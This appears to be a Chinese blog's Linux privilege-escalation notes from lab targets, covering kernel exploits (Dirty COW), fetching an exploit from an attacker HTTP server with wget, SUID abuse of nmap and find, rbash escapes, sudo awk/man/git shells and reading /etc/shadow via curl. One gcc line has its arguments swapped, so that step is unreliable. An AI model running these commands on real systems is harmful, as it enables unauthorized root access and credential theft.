# linux 提权笔记

# 利用内核漏洞提权

先开启一个可以交互的终端

1
2
3
4
python -c 'import pty;pty.spawn("/bin/bash")'
python -c 'import pty;pty.spawn("/bin/sh")'
/bin/bash -i
echo os.system("/bin/bash");

发现靶机是低权限

image-20210409090920475

查看靶机内核,发现其版本为 Ubuntu 14.04.

image-20210409091109670

打开 kali 查询可利用的 exploit,将其下载

image-20210409091229671

利用 python 将其传递到靶机上

1
2
3
python3 -m http.server 8081
python -m SimpleHTTPServer 8081
靶机:wget http://IP:8081/37292.c

image-20210409091411379

将 exp 进行编译执行,成功获得 root 权限

1
2
gcc -o 37292.c 37292
./37292

# 利用旧版本nmap提权

image-20210409091614007

nmap 支持 “interactive.” 选项,用户能够通过该选项执行 shell 命令,通常,安全人员会使用该命令来避免他们使用 nmap 命令被记录在 history 文件中

查看可利用的提权 find /-perm -u=s 2>/dev/null

image-20210409095550386

发现 nmap 存在提权漏洞

1
2
利用nmap --interactive 
!sh 成功提权

image-20210409095637576

# 环境变量提权

利用普通用户找到可执行文件,进行提权

image-20210122091212588

image-20210409102649196

# 脏牛提权

使用 uname -a 命令查看 linux 内核信息,发现在脏牛漏洞范围内,可以进行测试。

(需要 root 用户存在可执行文件)

image-20210409102540192

1
2
searchsploit dirty
searchsploit -m 40839.c

image-20210410094828540

3. 将 exp 一下载到本地,使用 gcc -pthread dirty.c -o dirty -lcrypt` 命令对 dirty.c 进行编译,生成一个 dirty 的可执行文件。

1
2
3
4
5
chmod 777 40839.c
gcc -pthread 40839.c -o 40839 -lcrypt
./40839
等一会passwd文件会生成一个firefart用户
su firefart (输入之前的密码,成功提权)

# find提权

(DC-01)

先查找拥有 suid 权限的文件

1
find / -perm -u=s 2>/dev/null

image-20210410095644313

进行提权

1
2
3
touch test.txt
find / -type f -name test.txt -exec "whoami" \; 发现是root权限
find / -type f -name test.txt -exec "/bin/sh" \; 成功提权

# git提权

(DC-02)

寻找可用提权

image-20210122091605012

绕过 rbash 进行提权

image-20210410100730655

可用命令有 less、ls、scp、vi,绕过可用如下方法:

  • 可使用 less 绕过:$less test 然后!‘sh’
  • 使用 ls 绕过:$man ls 然后!‘sh’
  • 使用 vi 绕过:$vi test 然后:!/bin/sh 或者 :!/bin/bash

还可以用 BASH_CMDS [a]=/bin/sh;a 直接绕过

或者更改环境变量,并查看 flag3.txt

1
2
3
BASH_CMDS[a]=/bin/sh;a  注:把/bin/bash给a变量`
export PATH=$PATH:/bin/ 注:将/bin 作为PATH环境变量导出
export PATH=$PATH:/usr/bin 注:将/usr/bin作为PATH环境变量导出

尝试 git 提权:可使用 sudo git help config 或者 sudo git -p help

image-20210410093833321

# sudo提权

1
2
3
如果知道用户为空密码可以尝试sudo提权
sudo -l, sudo su
或者su root 尝试弱口令

# awk提权

1
sudo awk 'BEGIN{system("/bin/sh")}'

提权成功

image-20210410093844939

# man提权

1
sudo man man

image-20210410100740319

image-20210410100702235

# curl提权

1
sudo curl file:///etc/shadow

image-20210410101229024

# crontab提权

cat /etc/crontab

模拟一下image-20210410100812432

防范:crontab 任务千万不要写到 /etc/crontab 文件里。通过 crontab -e 去创建,让他写到默认的 /var/spool/cron 下;创建任务时,避免使用 root 去创建任务,若用 root 创建任务,注意设置权限,避免 root 权限执行任务。

更新于

请我喝[茶]~( ̄▽ ̄)~*

chun 微信支付

微信支付

chun 支付宝

支付宝